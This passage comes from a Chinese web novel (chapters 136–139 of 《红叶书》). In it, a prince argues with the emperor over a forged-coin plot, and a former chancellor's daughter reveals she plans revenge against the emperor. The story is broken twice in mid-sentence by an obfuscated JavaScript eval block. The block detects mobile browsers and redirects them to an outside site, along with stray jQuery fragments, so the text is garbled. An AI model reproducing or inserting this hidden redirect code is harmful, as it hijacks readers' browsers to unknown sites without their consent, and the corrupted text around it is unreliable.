居然只隔了一天就再被提起,梁风感到紧迫的压力,隐约有一些着急,他偷看冯棹台。 冯大人波澜不惊,回看了他一瞬。 长史大人上呈仵作尸检记录,记录中明确写了那名疑犯患有先天心绞疼,还有当时负责调查这起案件的官员在疑犯死后给其家里送去抚恤钱的调拨记录。一切都证明滥用私刑为误判。 冯棹台不辩驳,似乎无话可说。 梁风站出重申昨日冯棹台说过的仵作未检出疑犯患病的事实情况。 长史大人驳回:“仵作的尸检记录最初确实写的是疑犯未患任何疾病,但很快仵作便发现有误,修正过一次尸检记录。修正前后隔了七日,冯大人看的,正好是未经廷尉盖印的错误的那一份。” 梁风无话可说。证据严谨,冯棹台也无法反驳,事实仿佛就是如此。 皇帝做出决断,认为御史事多压身,偶有疏漏也是正常,且那仵作在修正尸检记录后未及时销毁错误文书,致使误解。冯御史无需为误判负全责,罚一月俸禄,禁足十日。 罪名并不严重,只判为疏忽,梁风却觉得对疏忽的惩罚重了。 冯棹台没说什么,躬身受罚。 皇帝又看了梁风一眼,梁风还是疑惑,可能皇帝想告诉他很复杂的意思,他只看出了眼神里的警示与......不知道。 冯御史的事情商讨完后,禁物羽殇再被人提及。梁风把自己在人群中隐下去。 文官逼皇帝表态。因金党而死的人太多了,当中大部分是被无辜连坐,若出现了一个与金党密切相关的人而不死,文官集体会要求皇帝对因金党而死的所有人负责。 皇帝沉得能滴水的脸色直直盯着游照同。 梁风冷眼旁观,若这事与他和金絮都无关,至少能不更深入地牵扯,他倒是也想看看皇帝的态度。 他更担心的是冯棹台被禁足了,他收捐资时会不会出什么事。 朝会近尾声,皇帝再次将事情推后再议,叫梁风留下了。 待大臣离去,梁风随夏培引去宣室。 皇帝更换朝服,坐于案后,梁风坐到皇帝下首。刚坐下,夏培奉茶退出,梁风恍惚发觉,这好像是要正经说话的气氛。 瞧着是要搞铺垫的样子,梁风警觉起来。 皇帝当先开口:“关于那对耳杯的事情,你觉着,这两日朕和那些大臣是在吵什么?” 果然开始搞铺垫了。梁风仔细地前后想一想,谨慎回答:“大臣不喜宦官干政,想除掉掌控权势的太监,于是借这对杯子对高京下手,陛下想保住太监。” 皇帝脸色没变,梁风试探地接着说:“本质上是陛下想掌控外朝权力,而文官不许。游丞相借此事警告陛下,差不多可以收手了?” 他把“警告”两个字说得太过直白,惹得皇帝微微皱了一下眉头。 “金党被剿灭时,背后也有这些大臣推波助澜,包括游照同。这个时候要朕收手?”皇帝语气愤愤然:“你知不知道前几年游照同为了讨好朕做了多少事情?如今他位及丞相了,倒敢反过来跟朕作对了。” “他们推波助澜也是因为有陛下默许。”梁风道,他不是很关心谁和皇帝作对,“在第一个因金党连坐而无辜受死的人出现后,如果陛下及时下旨禁止,还会有第二个人出现吗?” “阿风,你想与朕对立?”皇帝凝眉。 那沉沉的能滴水的脸色看着他了,梁风平静地移开眼睛。 他觉着,做皇帝的要想不被人作对,那就得做什么事情都不夹私欲、不出格,梁戟明显做不到。 “陛下希望臣做什么?”他直白地问。 皇帝脸色平和一点,似乎就等他这句话。梁风心里一哼。 “你不用做什么,只需默认朕做的事情就可以了。” 皇帝说完便看着他。梁风等了会儿,见皇帝不再开口的样子,才知道真的只有这一句话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839871|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他问:“陛下要做什么?” 皇帝盯着他不言语,胸膛缓缓下沉,像是叹了一口气。 “你放心,朕不会做什么。只是收上来的捐资有一批钱币轻了些,恐怕是私自伪造的。” 梁风呆了一下,每一批捐资都有经过他的手,竟然没发现轻了? “谁的?” “相府司直。” 卢司直。梁风不由问:“真的轻了?”他和那些太学学生天天数钱,凭手感会没人发现钱币轻了? 梁风瞪大眼睛,“难道是有人掉包?” 不太可能。储钱殿在皇宫内,他还派了重兵守卫,一箱钱币那么重,谁能神不知鬼不觉地掉包? 皇帝皱眉,颇有些无奈道:“其余的无需你问,你到时默认便是。” 皇帝好像不生气,梁风疑惑。 渐渐地,皇帝双眼忍不住露出一点点嫌弃,梁风忽然间恍然大悟:“你要我徇私?” 过于直白的两个字再次让皇帝皱眉。 梁风很惊诧,“权限大是这个意思?”就为了便于他徇私? 皇帝面上露出的一丝情绪收了回去,只道:“朕同你说过的。” 梁风慢慢也不惊诧了。 说过了。他想起来,哪些人需要细究,哪些人可宽松放过,都是可以由他决定的,这才是全权决定的意思。这句话,皇帝提醒过一次,冯棹台提醒过一次,他到现在才反应过来。 “可是错误由谁承担?” “你和冯棹台不会有事。” 他和冯棹台不会有事。梁风脑子里飞快地思索,收了伪造的轻币,肯定是犯了错,犯了错就一定要有人承担后果......前前后后想了一遍,没找到人选,只能问:“陛下要舍弃那三位鉴宝师?还是太学学生?” 皇帝不说话。 梁风无法理解,“他们有什么错?他们只是为陛下办事。” 梁风觉得很有可能是太学学生,“鉴宝师和那些学生就不是您的人了吗?他们与高京有何分别?你保了高京就不要他们,哪怕最后是大臣妥协,但能说是您赢了大臣吗?” 皇帝开口:“于任何人而言,这都不是一件小事。为了大业,一定会有必要的牺牲。这是不得已的牺牲。” “朕一步不退。”皇帝道。 他还是无法理解。 从宣室出去,梁风很想离宫,他得好好想想。但是冯棹台被禁足了,他不能扔下那群太学学生不管。 好在老李进了宫,送来了王府的捐资。 趁着学生清点钱币的空档,梁风和老李说了刚才皇帝说的话。 李晟点点头,“这么久了,您可以试着表态。陛下希望控制住文官,或许可以想个别的办法,既不需要有人牺牲,也能令陛下满意。” “哦。”梁风淡淡,这次老李站皇帝那边。 李晟还告诉他,赵关那边有了新消息。 王府又卖出了一批粮食,老李这次接触到京城商贾的核心,数名大贾似乎暗中联合起来,夹缝里和皇帝抢东西。联合的商贾以赵关为首,因为赵关有个空置的大宅子,正好可以用来囤放粮食。 “经商者就爱讲利益,消息不是白告诉我们的,赵关希望王府以后有需要可以当先考虑赵氏。”李晟道。 梁风想到了赵关那张胖脸,还有那胖胖的脸旁边挨着的金絮。 “他能给我提供更多的消息再考虑说这些吧。” “有的。”老李道:“赵关说,温柔馆的鸨母这几日在南门走动,还说,王爷估计正在想她。” 梁风张了张嘴,又闭上,再度张开,问道:“王府里有什么是需要和商贾谈的?” “当然也有的。粮面肉菜、柴米油盐,总有个购处。” “也是。”梁风痛快道:“那就和那赵关买些东西吧。” 137. 《红叶书》(五七) 梁风第二天称病不去朝会,一早骑着马去南门。 天刚刚亮,逐渐走到城门,遇见的行人越来越多。他下马,马匹拴在城口马厩,改步行。 他确实不懂经商之道,原本以为旨意封禁粮道,最近进出京城做生意的人应该减少才对,没想到各地涌来的行商反而增多了。 他加大各处城门巡守兵力,遣人打探,发现这些上京的行商里多数人打着和赵关一样的主意,宁愿在卖粮这笔生意上亏些钱,也要尝试和京城里的宗室王侯、豪门勋贵们打个交道。 粮道封禁,封的只是粮食,不封瓷器、布匹、酒水、药材等等,行商们在京买了粮食无法运送出城,便带着这些东西进城。京商态度欢迎,也愿意和外地商贾谈些交易,缓和因这次粮价降低而亏损的钱财。 想到金絮也曾运送货物销往外地,但是亏钱了,梁风便有心多打探一下。 他对官员捐资有数,对皇帝在这次事情中买了多少粮食没数,看京商动向,估计皇帝买入的粮食里有不少是京商们卖出的。 他们愿意将粮食低价卖出,因为知道买粮的人是皇帝。皇帝缺粮,若能多卖些粮食,投其所好,说不准能得上面人的另眼相看,甚至合作,来年双缗令清算赋税时就能靠关系少交一两成的税额。 而外地行商想赚回车马费,依靠京商将生意做大。 那金絮一所青楼想做什么。梁风猜到她会出现在商贾流通之处,暗中有派暗卫寻找,想她应当是很引人注目的,但架不住人太多,这几天竟没有找到。 梁风沿着南门延伸的三条街慢走,四处看,又想她会不会这个时辰还没起来。 走完正中和左侧的两条街,正想往右侧找,余光注意到正对南门的一座客栈二层开门走出一个引人注目的身影。 梁风停下抬头看了片刻,越看越像金絮,但是有些奇怪。 她穿着少见的朴素,和以往在温柔馆里见到的样子十分不同,还是披头散发的,衣服是纯色的青蓝素衣,在下面抬头看,觉得她快和天空融为一体了。 金絮呆望着城门外的景色,神情有些困倦,似乎才睡醒不久。 梁风恍惚反应过来,他还以为自己没有循过私,金絮这个小骗子就是他循的最大的一个私。 她全然没有留意到街下望着她的人,一门心思地让自己变成一幅画,靠着栏杆,动都不动。 梁风在街边捡起一块小石子,扔上去。 石子砸到栏杆,发出响声,没有惊动她。 仿佛这样扔石子试图引起她注意的事情经常发生,早习以为常,不能令她侧目一眼。 梁风再捡起一块,瞄准她的手臂,扔过去。 扔中了。金絮皱了一下眉,视线往下扫,面无表情。 没有表情的视线扫到梁风身上,她停了一瞬,认了出来,然后愣住。 小骗子好大的胆子,这样冷冰冰地看他。 梁风心里一哼,注意到她的脸好像变淡了很多。她没有收回视线,梁风进客栈上去找她。 客栈二楼靠街的位置有散桌可以吃饭,不全是住房。金絮就坐在视野最好的位置,看着他上来。 梁风大跨步地走过去,厉声质问:“你要和我生疏了?” 金絮被他这一问弄得愣住,呆呆看着他。梁风怒目回视,金絮摇摇头,“不要。”她问:“王爷怎么在这里?” 走近了看,她的脸确实不一样了,梁风有点看不太惯,但是一眼就能看出来是她。 “我在找你。”梁风继续质问:“为什么温柔馆不营业了?这些天我想找你都找不到你。” 她倒不是披头散发,脑门后头有根簪子簪了头发,只是没有盘,梁风看她脸上的角角落落,瞧出她的脸虽然淡了,不过更和谐了。 金絮先没回答,观察着他的观察,然后才道:“前段时日总有官府的人找上温柔馆,问有没有多余的粮食要卖,我都说没有,他们还要两次三次地找来,我嫌麻烦,就暂时闭馆出来躲清净了。” 不是故意躲着他。梁风仔细看她的眼睛确认真假,越仔细瞧,越发现她这张脸有粘性。 他想到了一个成语,可以形容她今天的打扮,叫清心寡欲。非常贴切。 想问她怎么今天没化妆,但是气势不能断。梁风厉声再审:“那对杯子是怎么回事?你用它做了什么?你插手那些大臣之间的事情是要干什么?” 这一问,情绪上来了,“我现在知道你问我那些事情是要什么意思了,你瞎掺和些什么?很危险知不知道?!” 金絮情绪不变,摊手,“那是我家的东西,我想用它来做什么就做什么,需要事先告知谁?” “全天下只有你一个人知道那东西是你家的,它就等于不是你家的!你胡乱做事,万一我保不住你了怎么办?”梁风拍桌。 金絮静静看着他。梁风很不喜欢她这幅样子,好像他所有激动的情绪对她来讲只是吹灰一般。 梁风拽住她的手臂,想扯动她的情绪,“你和我说话,你到底想做什么?” “我想复仇。”金絮道:“我在四处寻找接近皇宫的办法。” 她语气平静,梁风却被震慑得愣住了,反应过来下意识抓紧她的手臂。 “你刚才听见了我的秘密。” 她脸上的嘴唇一点点咧开。梁风张了张嘴,不知说什么,一股恐惧从心里涌上来。 金絮默默与他对视,像是等他反应,定定的眼神加深他心里的恐惧。 “那些大臣、太监还有皇帝,互相之间勾心斗角,你并不讨厌和反感,反而想参与进去?” 她想了想,点头,“嗯,很冒险,但是伴随着机遇。” 还清心寡欲呢,这小骗子,全身上下、从里到外都是骗人的。 “不可以。”他越发抓紧她的手臂。 金絮皱眉,捏住他的手背,想他松开,盯着他问:“你不许?为什么?” “不可以!” “无所谓,你管不着。”金絮声音变冷。 梁风紧紧拽着不放,他真的需要想一下。 “松开!” 梁风不松,金絮眉毛渐渐皱出了戾气,他看在眼里,更加不知道说什么。 她的袖子里有个东西扫到他身上,硬的,小小一个。他低头,抓住她的袖子一捏,捏到一个凹下去的形状。 金絮看他一眼,自己从袖子里把东西掏出来。 是那对耳杯,但只有一只。 “你怎么会有这东西?”梁风疑惑地重新抓住她的袖子,不知怎么,他非常怕她跑了。 “你们那里的两对都是假的,这是唯一一只真的。”金絮将杯子甩给他。 “只有你能认出来。”梁风顺着她道。 “这对杯子的事是某位大臣举报的吧,举报之后,这件事有影响到你吗?”金絮道。 居然关心他,这样的事情上才关心他......要不要说得惨一点,梁风欲言又止,最后老实地说:“有,但不严重,也没有影响到温柔馆。” 她“哦”一声:“那好啊,你还是站皇帝吗?” “我不站皇帝。” “站不站无所谓,你该表态了。” 她说了两次“无所谓”了,梁风听着很碍耳,“先不要管皇帝,你想怎么做?” “不管皇帝?可我就想杀了皇帝。”金絮茫然地看他。 “我想了很多办法,都没有成功。”她掰着指头道:“比如做宫女,只要能入宫,就可以慢慢想办法见到皇帝,但我无论怎样都搭不上那层关系,根本连宫里的人都接触不到;或者找京内某个高官,小官也行,去他们府里做丫鬟,可是这也不行。风尘女子的身份就像一堵墙,把我困在里面,这墙比皇宫还高。” 金絮问他:“你说我进了皇宫,见到皇帝,能得皇帝喜欢吗?万一封我做个妃子什么的,杀皇帝的机会就多了。” “他才不会信任你。皇帝这人疑心病重得很,才不会相信你!” 金絮对他的激愤一脸无谓,“我只能想别的办法,要么先到江湖中捏造一个新身份,营造名声,名声大了再去侯爵府邸之类的地方做幕僚,甚至到郡国去,怂恿地方诸侯造反。这法子比较可行,还能和经营温柔馆同时进行。” 梁风光听着都觉得不可取。 金絮道:“江湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839872|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人重情分和义气,与他们结交,容易互欠人情债,债多就压身了,何况我最初肯定需要旁人相助。 “在一切的开始时就要选对圈子,深陷江湖后再想进入皇宫或是接触宫廷里的人,怕是难以脱身。若是再找别的法子......” 金絮不再说了,摊手,“这样乱七八糟地想,想到最后发现我真是什么人脉和背景都没有。我好歹曾经也是丞相的女儿,怎么会变成现在这个样子。” 梁风慢慢放开她的袖子,心中恐惧因她的走投无路而消减下去。 她低头看向南门口往来的商贩,道:“所以我想把生意做大,成为大贾巨富,钱和权总要有一样。只要足够富有,勋贵豪门、侯爵官宦,肯定会有人愿意接见我。” 可是很难做大,梁风心里清楚。最近他接触商贩多了,知道双缗令对商户和百姓的影响,巨富再难以出现。 “可是这一次,温柔馆里出现了那么多的高官。”金絮停了停,忽然又自己说话。 客栈小二过来上菜,是一碗粥,金絮点的早饭。 她捋捋袖子吹吹烫,准备开吃,看了他一眼,“我没点你的份。” 梁风不说话,金絮只好拿一只桌案边摞着的碗,舀了两勺粥递给他,然后吃自己的。 梁风不动,看看她,斟酌开口:“我原本希望你凡事能随心而行,不去管旁人的想法,愿意做什么就做什么......我改主意了,我觉得我得管管你。” “呵,你怎么管?” 梁风微微沉思,向她道:“要走上复仇这条路,你会吃很多苦,你会发现为什么身边遇到的每一个人都面目狰狞,你关心的人都会失去或者离开你,所有的靠近都是有所求,你会在这过程中慢慢变得心狠,变得为达目的不择手段,不惜舍弃身边的一切、舍弃拥有的一切,哪怕利用别人,甚至害死别人,全都不在乎,只要能达成自己的目的。” 梁风非常严肃地看着她,“你不可以变成这样。” “拥有的一切?”她嘴角微微抖动,“我不是已经没了。” 有一点嘲讽流露。金絮把勺子放下,道:“你的意思我明白。可以把事情做得这样极端,但是完全没有必要。 “皇帝为了夺权,借着剿除金党的名义连坐了很多无辜的人,但皇帝同样保住了很多人,尤其是皇帝身边那些个能博得‘从龙之功’名头的人。 “杀皇帝这样的事情,我一个人势单力微,很难成事,需要旁人相助。别人也不是傻子,如果我心狠手辣、两面三刀、做事毫无底线、狠起来自己人都杀,那根本不会有人在我危难时愿意出手助我。 “凶狠无情和仁义宽厚可以同时出现在一个人身上。我做事当然会留条后路。你对皇帝什么态度你自己不明白吗?” 金絮重新拿起勺子,低声补充一句:“傻子才有你这样的想法。” 傻子梁风被说得哑口无言。 但他仍是要管。梁风拿起那只真杯子,“就像这杯子,这是你家里最后一件遗物,你居然还要拿来利用,等你往后哪天被复仇之心蒙蔽双眼,你还会想着我不能心狠手辣、我不能两面三刀、我不能做事毫无底线吗?” “你怎么知道我不行?”金絮瞪他一眼,拿回来,一个手掌就能将杯子完全包住,指腹轻轻沿着杯沿摩挲。 “这是我小时候用来喝药的杯子,因为它小,一口就喝完了,不像用药碗喝,几勺下去还没见底。那天我不知为什么十分不想喝药,撒泼耍赖,把杯子打翻了,摔碎了其中一只,碎片割伤了娘亲的手。” 原本完好的一对杯子只剩下一个。金絮手指抚摸杯底一条浅浅的线,那不是玉天然生出的纹路,是摔出来的裂痕。 “那是我第一次弄伤娘亲,这对我来讲不仅仅是一件遗物那么简单。”金絮扭头瞪视他,“但这是死物,不是活人,不能类比。你同情人命,就是拿人命和死物相比吗?” 梁风有些噎住,“......情......” 说没说完,金絮举起杯子摔到地上,杯子摔成两瓣。 “好了,最后一件遗物也没了。”金絮再次拿起勺子,“我还有什么舍不下的。” 138. 《红叶书》(五八) “你扔了它干什么!” 梁风生气了,捡起两瓣碎片,他试着拼起来,裂缝不能完全合上。 金絮凉凉挑眉,“还要管我什么?” “你会后悔的。”梁风斩钉截铁。 “悔了再说。”她语气更凉。 清晨的客栈没什么人早起,无人注意到贵价之物摔碎的响动。 梁风坐到她旁边,还气着,“我说不过你......” 他只问:“你想好了?” 金絮不说话,认真喝粥。梁风还在尝试拼合两瓣裂杯,无论如何都对不齐了。 金絮淡淡瞥了他的动作一眼,道:“你身上教给我很好的教训——关键时刻不能优柔寡断,不能将自己的弱点交到别人手里,一臂之内完全受制于人。” 她摇摇头,“蠢人的做法。” 蠢人梁风更生气了,“又不是我愿意的。换了你,你还不一定比我聪明!” “我会及时止损。” 梁风不说了。但想了想,找到反驳她的话,“空话谁都会讲......” 无意间看见她左手的中指和无名指贴着粥碗的外壁,贴了似乎有一会儿了。梁风便抬手拨开她的两指,也不嫌烫着。 金絮被他这一拂回过神来,指头捏住耳朵。粥还没吃几口,太烫了。 “温柔馆出现的人都是因为我才过去的,你离他们远一点。”梁风道。 “为什么要远?我不赚钱了吗?” 要赚的,梁风回答不了这话。见鬼的清心寡欲。 她搅粥的勺子敲敲碗边,道:“姓高的太监赏我杯子时,我不想把这只真的还给他们,托人造了只假的掉包,但时间紧急,找不到黄玉,我就用青玉漆成黄的顶替,你们没有人发现吗?” 梁风手中不停地对裂杯子,茫然地摇头,有些理不清这几只破杯子的关系。 “一群傻子。” 梁风无言,看金絮骂完继续喝粥。 她一勺一勺喝着,梁风默默看着她。没留神,看着她喝完了小半碗。 被人盯着吃饭仿佛不会让她感到丝毫不自在,金絮仍是吃着,一边若有所思道:“我也不算什么都没有,其他大小商贩费尽心思才能摸到勋贵的门槛,千辛万苦才能见上世家之人一面。我至少先他们几步,已经在门槛里面了。” 梁风愿意听她多说一点,好过被那一片漆黑的温柔馆碰壁。 “我若是离别的男人远了,离你就会近了。王爷,想造反吗?” 听她继续讲,就听到了极难听的话,梁风冷脸,裂杯收进袖子里,“不会说话就不要说了。” “你还愿意帮我的忙吗?”金絮全然不顾,看着他道:“我的难处你管吗?” 梁风一哼,避开她的眼睛,看楼下喧闹的人群。人头来来往往,金絮双眼一瞬不瞬,他看半天,没留意住哪个路人是男是女。 他警惕地瞪金絮,“什么难处?” 金絮手指一点南门,“你帮我在南门粮道开个口,放一批太南运来的粮食入城。” 从这里看不见粮道关口,但他还是看过去了,心底微诧,这要求很简单,甚至可以说非常好办。 “我......”他一转眼,碰上金絮浑无波动的眼神,莫名看见那毫无波动之下的一点笃定。 “我不!”梁风果断道,并与她拉开一个身位的距离。 金絮不露喜怒,似乎无所谓,拿起勺子喝剩下半碗粥。 “为什么要放太南的粮食入城?” “不告诉你。” “那你想也别想!”梁风再与她拉开距离,“瞒着我,还想让我为你做事。我又不是傻子!我要离你远一点!” 她还是无所谓,“嗯嗯,王爷最聪明了。” 梁风气在头上,可是看看她的样子,又气不起来,心里不由得当真思索若是放了太南粮食入城的后果。 皇帝封粮道只是不愿让粮价波动范围扩大,放一批粮食入城顶多算职责疏漏,大概会像冯棹台那样罚月俸、关禁闭,而且本身就有一堆商人绞尽脑汁地想偷运粮食入城,有疏漏也不奇怪,但他需要个理由。 这些都是其次,他更想知道金絮的目的。 “聪明的王爷有发现自己掌握了京城的守卫兵权吗?”金絮一碗粥快吃完了,“京城的防守权握在手中,造反是轻而易举的事情。” 梁风张了张嘴,不理她。 “我这几天在南门观察,你的兵权很重,有些军官在教训底下士兵时,常常把你的名头搬出来,我都听见了。”她脸上似笑非笑,“你在军中凡事亲力亲为,有没有一点笼络军心的想法?” 梁风越发不理她。 她非笑神情愈深,梁风逼不得已道:“我手中的京城卫兵只是一小部分,更多是在皇帝手里。你什么也不知道,不要瞎猜。” “瞎猜?”她不认同,“你知道皇帝在想什么吗?你不敢说你知道吧?但是我敢,我知道皇帝在想什么。” “皇帝和你一样胆小,他想信任你,但是他不敢。”金絮倾身靠近,小声道:“他在试探你,试探你是否能担大任,你若担得起,他会把十足的信任都给你。 “他心里其实知道你是一个值得信任的人,但多年的习惯和与你之间的芥蒂让他不敢。他向自己证明,也是向其他大臣证明,你值得托信,也担得起大任。” 金絮认真道:“我说了,你该表态了,你要回应皇帝的试探。” 梁风低头看地板,不说话。 金絮瞧瞧他,再道:“你都不知道的事情我却知道。如果能见到皇帝,我有信心能得皇帝喜欢。” 话里竟有一点点怅然,也不知是真是假,梁风偷偷看她一眼,感觉身体里的血液有些凉。 “你......你这些话说得倒是顺溜......你看看你之前一副带病的样子,就是被这些念头给折磨得,都快精神不正常了。” “想复仇就是不正常吗?”她推了粥碗,往后靠坐,一本正经道:“休息了几天,晒晒太阳,舒服很多。” 早晨的太阳晒进来,晒在她身上,像是太阳光想把她吸走。梁风皱皱眉,“之前是哪里不舒服?我说让孙姨给你把把脉。”他顿住,改口问:“你经常生病吗?” “复仇并不是一种病,心狠手辣更加不是,自欺欺人才是。” 梁风一哼,“你最懂了。” 金絮起身,“不和你说了,我走了。” 梁风拽住她,“我要放暗卫在你身边。” “不可以。” “谁管你意愿了。”梁风学着她那样无所谓,“就是上回你见过的那人,你认得的。” 她的脸冷下来,甩手,甩不脱。梁风顶着她庞大的视线与她对视,希望她暗暗明白威胁的意思。 怎样甩也甩不脱他的掌握,金絮可见地烦躁起来。 “呵,有权势的人说是怎样就是怎样,我但凡有点手段和靠山,你都不会违背我意愿地使人监视我,看待我像看待皇帝那样,欺软怕硬罢了。” 他想反驳,转念一想,从絮如流,“嗯,你说得对。” 金絮眼睛一翻,不爽道:“我告诉你,若真完全背着你行事,我会有很深的愧疚感,所以我希望你能是主动来找我的。” 梁风微愣,思索她这话后不太明白,“才不是,你让赵关告知我你的行踪的。” “没有,我从未和赵关说过让你来找我。”她呵呵,“也就你,还需要派人监视,我不用派人监视,一样知道你的一举一动。” “......哦,你最厉害了。” 这一刻感想很浓郁,梁风不知道该怎么说,他之前居然天真地以为看不懂她是因为她脸上涂的墙,根本不是这样。 金絮用力甩掉他的手,扭头走了。 梁风原地坐了会儿,看见金絮舀给他的小碗粥还放着。他端起来吃掉,然后下楼去追她。 她还没走远,出了客栈往南门的方向去。梁风两三步追上她,挡住她去路,“我送你回去,回温柔馆。” 金絮简直不 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“捏造姓卢的把柄,和你有什么关系?” “皇帝想在捐资上做手脚,而我是监币使。如果我不支持皇帝,皇帝这主意就办不成了。” “如果你不站皇帝,你娘亲会怎么样?” 梁风低头看路,踢着鞋子走路,“不会怎么样,皇帝还要让我抗匈。但是抗匈回来就不好说了,可能日子会更难过一点。” “抗匈回来也好说,你手里有兵权、有威望。皇帝要处理你娘亲,肯定会先转移你的兵权。” 梁风认同地点点头。 “你一点都不想笼络军心吗?”金絮问。 鞋尖碰到一块石子,梁风一脚踢去,石子飞跃着被旁边的墙壁弹开。他再低头继续走,脚边空无一物。 “有一点点,一点点。”他承认。 “怎么可能没有呢,那算是我亲手养成的军队。”梁风道。 金絮听了,还问:“太子得宠吗?” 梁风侧头看她,想起从前见到与丕时的样子,与丕身上好像始终有一种绷紧的感觉,这种感觉甚至在很小的时候就有了,他想否认,随即反应过来不能和金絮说这些。 “不许打听这些。”他道。 金絮看他一眼,确认了:“不受宠。” 梁风无言,还没说话,她便道:“你去站皇帝吧。这也舍不下,那也舍不下,你没得选。” 巷子越绕越僻静,大致的方向是去温柔馆的,梁风看着道路延伸的前方,逐渐感到郁闷。 “如今的丞相姓游?” “嗯.......” 他心不在焉,摇晃她的手臂,不由自主地看她,“能不能和你说些别的?” “说什么?” “你今天没有化妆,打扮也和在温柔馆不一样。”他指指自己的脸。 她低头看自己,抓抓裙摆道:“在外面和在温柔馆当然不一样,商人之道就是离金钱越近,身上越不能有铜臭味,要附庸风雅,像个隐于世外的高人,才能得生意人的青眼。” “哦。”她这身衣服确实有点隐世的感觉。 “不过我这是化了妆的。”她拍拍脸颊。 梁风仔细看她的脸,寻常的皮肤没看出什么异常。 金絮靠近,“我教你如何辨别。” 梁风不动,双臂随着她靠近而收紧。 她仰脸,手指着鼻翼两侧道:“你看,这样是化了妆的。” 梁风隔着距离低眼看,呼吸都放轻,“噢。”他想是太久没看过女子没化妆的脸是怎样的了,认不出区别。 他又变得心不在焉。 “再这样走下去,天黑也到不了温柔馆。”她声冷,“就算到了温柔馆也没法进去,开门的钥匙还在客栈里。” 梁风眨眨眼,走神的思绪再次定在她脸上。 “傻子。”她嗤一声。 139. 《红叶书》(五九) “那就回客栈吧。”梁风拉着她回走,“去拿钥匙。” 他随口问:“其他姑娘去哪了?都在客栈吗?” “不在,她们出去玩了。”金絮这下不抗拒被他拉着走了,问道:“你刚才说的那些,是你以前都遇到过的人吗?” “什么?” “你刚才说的心狠、不择手段、舍弃一切的人,你从前遇到的都是这样的人吗?” “不全是,不是遇见了你么。” “我不是。”她淡淡道:“我还以为我做什么都会被你包容。” “我包容了。”梁风义正辞严,“但是你要抛弃我了。” “你帮我在南门粮道开个口,等于我要抛弃你。” “没错。”梁风做出不容辨驳的语气。 金絮不说话,脸上表情显然并不认可他的逻辑。 梁风斜眼看她,“你不怕我也抛弃你?” “不怕。你不是说你站身边人吗?我不是你的身边人?” 梁风心里冷哼,忍不住道:“那我呢?我不是你的身边人?你要复仇,出鞘第一剑就准备先斩我?我是你决定第一个抛弃的人?” “谁说你是第一个了?你以为赵关是什么?” “原来我还不是第一个!” 梁风一时上头,扔掉她的手,完全不想再看见她。 手松了,金絮一脱身,立即扭转方向,往旁边岔道走去。 梁风呼口怒气,察觉身后响动渐远,悄悄回头看一眼,赫然发现她竟走远了,只留个背影。他什么怒气也忘了,忙两三步追过去,拽住她就把她拖去正确的道路上。 “这才是去客栈的路!” “在粮道开个口让你很为难?想帮我又不想帮?”金絮被拽得需要扯着裙子小跑,“你说过你很容易消气的。” “我骗你的,我好难消气!”梁风注意到她动作,放慢了速度,道:“利用我的人,多你一个不多,少你一个不少,但我不希望有你一个。” “这不叫利用,这叫帮助。” 梁风真的生气了,停下瞪她,“混淆概念就是不择手段的开始,欺骗身边人第一步就是操控身边人的想法。” 他控诉:“皇帝就是这样,他说我是他的兄弟,但我实际上只是他指哪儿打哪儿的一条狗。” “你这就是利用!”他盖棺定论:“而且是不择手段的。” 金絮眉间有一点点排斥和不赞同,但没有立刻反驳他,低头看着,也不与他对视。 “你曾经和我说过,你没有好好看过那位代替你而死的女孩,你觉得很遗憾。”梁风放轻声音道:“那你怎么不好好看看我?我还活着呢。” 这话有些触动到她,她眼中微微波动闪烁,只是不知触动她的是他的话还是那位女孩。梁风轻轻牵起她往客栈走。 走到客栈楼下,她轻声说:“有点道理。” “只是有点?明明是很多很多。” 金絮拿了钥匙,结了房账,梁风继续牵她回温柔馆。 路上行人多了起来,这里距温柔馆不算近,走路要走个把时辰。梁风问客栈老板赁了辆小马车,和金絮一起坐车回去。 “你告诉我,你为什么要太南运来的粮食。”梁风一边驾车,一边抓她在身边问。 “不告诉你。” “你不说,我自己也能查,但我希望你告诉我。” “我心里在想什么你觉得是能查到的?” 梁风默默,集中注意驾车,小心避开沿路行人,每隔一下就看她一眼。金絮静静坐在旁边,看向前方的视线又空又呆,像尊佛,像尊石像。马车里反而是空的。 马车简陋,不抗颠簸,金絮时不时微微晃到他身上。行人增多,梁风放慢速度。 行了小半个时辰,前方群屋间露出温柔馆的瓦顶。 “其实你说的我知道,我都知道。”她突然道:“你查吧。” 梁风避开一个小孩,还想着心里的想法也是能查的,就听见她这么说,心里松了一瞬。 “好啊,我查。” 到达下车,梁风栓好马匹,金絮拿出钥匙开门。 温柔馆进门有好几道锁,她在前面开,梁风在后面关。 进到前馆,室内不显暗,金絮沿墙开窗通风。梁风还没见过早晨的温柔馆里面是什么模样,站在堂内四处打量。 风和阳光从窗户外吹进来,没有盛亮烛火的修饰,白日的温柔馆和夜晚的温柔馆是两幅面孔,特别像金絮,她的妆前和妆后。 房子也随主人。 梁风注意力回到金絮身上,她不知从哪儿拿了个水壶,给一些杂杂的盆植浇水。 “你馆里有这些花花草草要照顾,还几天都不回来。” “死不了。”她回应淡淡。 金絮一手拿着掸子弹灰,一手拿水壶,开始逐一楼层清扫。 梁风追在她身后,拿过她的掸子帮她弹灰,心里还有句触及底线的话不知该不该和她说。 